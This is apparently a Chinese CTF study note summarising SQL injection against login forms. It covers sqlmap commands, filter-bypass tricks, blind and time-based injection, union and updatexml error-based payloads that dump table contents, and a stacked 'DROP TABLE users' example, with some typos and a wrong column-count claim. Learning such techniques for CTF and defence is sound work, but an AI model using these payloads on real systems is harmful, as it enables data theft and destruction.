目录
前言
在做ctf赛题的时候,我们经常遇到sql注入的题,这篇文章就是针对输入用户名和密码登录注册题型的一个知识总结
一、工具
sqlmap扫描工具
sqlmap扫描sql注入漏洞的工具,在默认情况下,使用的是GET请求。
1 GET请求:用于从服务器获取数据,通常用于向服务器查询数据。
2 POST请求:用于向服务器提交数据,通常用于向服务器发送数据。
1 扫描目标URL
sqlmap -u 目标URL
2 测试特定的参数
sqlmap -u 目标URL -p 指定的参数名
3 列出数据库
sqlmap -u 目标URL -dbs
4 列出表
sqlmap -u 目标URL -D database_name
5 列出字段
sqlmap -u 目标URL -D database_name -T table_name
6 查看数据
sqlmap -u 目标URL -D database_name -T table_name -C column1,column2
二、判断sql注入类型
判断注入点传参方式
用sqlmap工具扫描
判断关键字过滤
输入select查看回显,得出用什么方法注入的
查看有多少字段
输入order by 数字,来判断
例如:order by 4
没有报错,说明有3个注入点
尝试堆叠注入
1’;show tables;
eg:目标URL?/inject=1';show tables;#
尝试联合注入
select * from 表名
eg:目标URl?/inject=1';select * from FlagHere;#
三、sql注入
注释绕过
‘OR’ 1’= ‘1’ --
1 原始结构
select * from users where username = 'admin' and password = 'password';
2 绕过过滤器的输入
select * from users where username = '' OR '1'='1'-- ' and password = 'password';
注释符号--
会将and password = ‘password’;部分注释掉,不参加查询,从而绕过密码验证
3 常见的注释符号:
--
:单行注释,忽略其后的所有内容#
:单行注释,忽略其后的所有内容/* */
:多行注释,忽略其间的所有内容
大小写绕过
通过将SQL关键字转换为大写或混合大小写来绕过锅炉器
eg:SelEct
1 原始结构
'OR 1=1 --
绕过过滤器的输入
' oR 1=1 --
2 原始结构
select * from 表名 where username = 'admin' union select...
绕过过滤器的输入
select * from 表名 where username= 'admin' UNION SELECT ...
双写绕过
通过双写来绕过基本的输入验证
eg:seselectlect
1 原始结构
1';select * from 表名
绕过过滤器的输入
1';seselectlect * from 表名
拼接绕过
利用字符串拼接,绕过过滤器
1 原始结果
select * from 表名 where username = 'admin' and password = 'password';
绕过过滤器的输入
select * from 表名 where username = 'ad'||'min'and password='password'
布尔盲注绕过
通过向应用程序发送条件表达式,并根据应用程序的响应(如页面内容是否发生变化)来确定条件是否为真,从而逐步获取数据库中的敏感信息。
1 原始结构
select * from 表名 where username = 'admin' and password = 'password';
绕过过滤器的输入
select * from 表名 where username='admin' and 1=1 --'and passward='password'
尝试通过在username或password字段中注入恶意代码来判断查询结果。
代码:’ OR 1=1 --
这将始终返回真,因为1=1总是成立
时间盲注绕过
利用数据库的延迟函数来测试布尔条件的真假
select * from users where username = 'admin' and password = 'password' and IF(1=1, sleep(5), 0);
IF(1=1, SLEEP(5), 0):如果条件1=1为真,会延迟5秒钟,否则不会延迟
例如:通过时间盲注来猜测数据库用户名的第一个字符
1 原始结构
select * from 表名 where username = 'admin' and password = 'password';
绕过过滤器的输入
select * from users where username = 'admin' and password = 'password' and IF(substring((select database()), 1, 1) = 'a', sleep(5), 0);
如果数据库名的第一个字符是a,则响应时间将延迟5秒,否则不会延迟
堆叠查询绕过
通过在一个查询中堆叠多个SQL语句来执行恶意操作
1 原始结构
select * from users where username = 'admin' and password = 'password';
绕过过滤器的输入
select * from users where username = 'admin'; DROP TABLE users; --' and password = 'password';
通过堆叠查询来执行额外的恶意操作,例如删除一个表:drop table 表名;
::$DATA绕过
允许访问文件的备用数据流
许多文件系统在处理路径时,只会关注文件的主数据流,忽略备用数据流的部分,攻击这可以通过这一点,来实现::$DATA绕过。
1 原始结构
filename = "111.php"
绕过过滤器的输入
filename = "111.php::$DATA"
还有一些绕过方式如:点空格点绕过,空格绕过,后缀加点绕过等等
四、sql注入指令
万能密码
1'or'1'='1
联合注入
假设username=1,passwoed=123
1 开始寻找注入点:union select 1,2,3
?username=1'union select 1,2,3%password=123
2 爆数据库名:union select 1,database(),3
?username=1'union select 1,database(),3%23&password=123
3 爆数据表名
union elect 1,database(),group_concat(table_name)from information_schema.tables where table_schema=数据库名
4 爆该表的列名
union select 1,database(),group_concat(column_name)from information_schema.columns where table_name=数据表名
5 显示字段数据
union select 1,database(),group_concat(数据表中显示出来的字段) from 数据表
堆叠注入
1 查看数据库
1';show databases;
2 查看数据表
1';show tables;
3 查看表名里的内容
1';show columns from 表名
注:表名如果是数字,要用反引号引起来
报错注入
1 爆数据库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))
2 爆数据表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))
3 爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(数据表名)),0x7e),1))
4 查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(查出的所有字段))from(数据表名)),0x7e),1))
5 如果内容就出现了一半,说明有字符限制
突破字符限制使用:right()
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(数据表名)),0x7e),1))
还可以使用extractvalue()函数进行SQL报错注入
Handler语法
Handler语法是一种高级功能,用于高效地从表中检索行,可以一行一行的浏览一个表中的数据
1 打开表句柄
handler table_name(表名) open;
eg:handler users open;
2 读取第一行
handler 表名 read index_name first;
eg:handler users read user_id_index first;
3 读取下一行
handler 表名 read index_name next;
eg:handler users read user_id_index next;
4 关闭表句柄
handler 表名 close;
eg:handler users close;